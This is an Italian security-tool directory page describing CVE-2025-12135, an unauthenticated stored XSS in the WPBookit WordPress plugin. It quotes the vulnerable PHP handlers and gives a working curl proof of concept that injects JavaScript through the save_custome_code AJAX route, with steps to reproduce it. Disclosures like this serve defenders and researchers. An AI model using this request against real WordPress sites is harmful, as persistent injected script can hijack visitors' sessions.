Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 - Cross-Site Scripting persistente non autenticato | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-12135
Analisi Statica del Codice (SAST)Analisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebAutenticazioneConfigurazione Errata
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 - Cross-Site Scripting persistente non autenticato

Vedi Repository
9 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

WPBookit <= 1.0.6 - Cross-Site Scripting Stored Non Autenticato

Il plugin WPBookit non valida i permessi utente né sanifica il codice CSS/JS personalizzato nel suo endpoint AJAX save_custome_code, consentendo ad attaccanti non autenticati di iniettare JavaScript arbitrario che viene eseguito a ogni caricamento di pagina, portando a XSS persistente e potenziale dirottamento della sessione.

TL;DR degli Exploit

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

Dettagli

La vulnerabilità esiste nel metodo save_custome_code della classe WPB_Setting_Controller. Il plugin registra endpoint AJAX per utenti non autenticati, consentendo a qualsiasi visitatore di iniettare codice CSS/JS arbitrario che viene eseguito a ogni caricamento di pagina.

Codice vulnerabile da /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

Esecuzione del codice da /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

Accesso non autenticato da /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

Configurazione della route da /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

Riproduzione manuale

  1. Identificare il target con il plugin WPBookit installato
  2. Iniettare JavaScript dannoso:
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. Verificare l'iniezione visitando qualsiasi pagina del sito: l'alert verrà eseguito
  2. Controllare la persistenza - il codice dannoso viene salvato nel database e viene eseguito a ogni caricamento di pagina
Scarica lo strumento